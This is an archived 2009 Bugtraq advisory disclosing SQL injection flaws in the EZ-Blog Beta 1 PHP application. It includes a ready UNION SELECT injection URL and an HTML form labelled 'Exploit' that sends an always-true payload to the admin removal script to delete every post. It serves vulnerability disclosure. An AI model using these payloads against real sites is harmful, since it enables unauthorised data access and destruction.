lists.openwall.net | lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC | |
Open Source and information security mailing list archives
| ||
|
Message-ID: <48317b000903011415o472c729ay8dcd3dcd5541f7c9@mail.gmail.com> Date: Sun, 1 Mar 2009 23:15:23 +0100 From: "Salvatore \"drosophila\" Fresta" <drosophilaxxx@...il.com> To: Bugtraq <bugtraq@...urityfocus.com>, str0ke <str0ke@...w0rm.com> Subject: EZ-Blog Beta 1 Multiple SQL Injection ******* Salvatore "drosophila" Fresta ******* Application: EZ-Blog http://sourceforge.net/projects/ez-blog/ Version: Beta 1 Bug: * Multiple SQL Injection Exploitation: Remote Date: 1 Mar 2009 Discovered by: Salvatore "drosophila" Fresta Author: Salvatore "drosophila" Fresta e-mail: drosophilaxxx@...il.com ************************************************* - BUGS SQL Injection: Requisites: magic_quotes_gpc = off This is a crazy application because it not require authentication for posting, deleting, etc. and it is entirely vulnerable to SQL Injection, as follows: http://site/path/public/view.php?storyid=-1' UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10%23 There aren't hight reserved information on the database, but it is possible to cause inconvenience. The following injection allow to delete all posts: <form action="http://site/path/admin/remove.php" method="POST"> <input type="hidden" name="kill" value="1'or'1'='1"> <input type="hidden" name="confirm" value="1"> <input type="hidden" name="rm" value="true"> <input type="submit" value="Exploit"> </form> ************************************************* -- Salvatore "drosophila" Fresta CWNP444351
Powered by blists - more mailing lists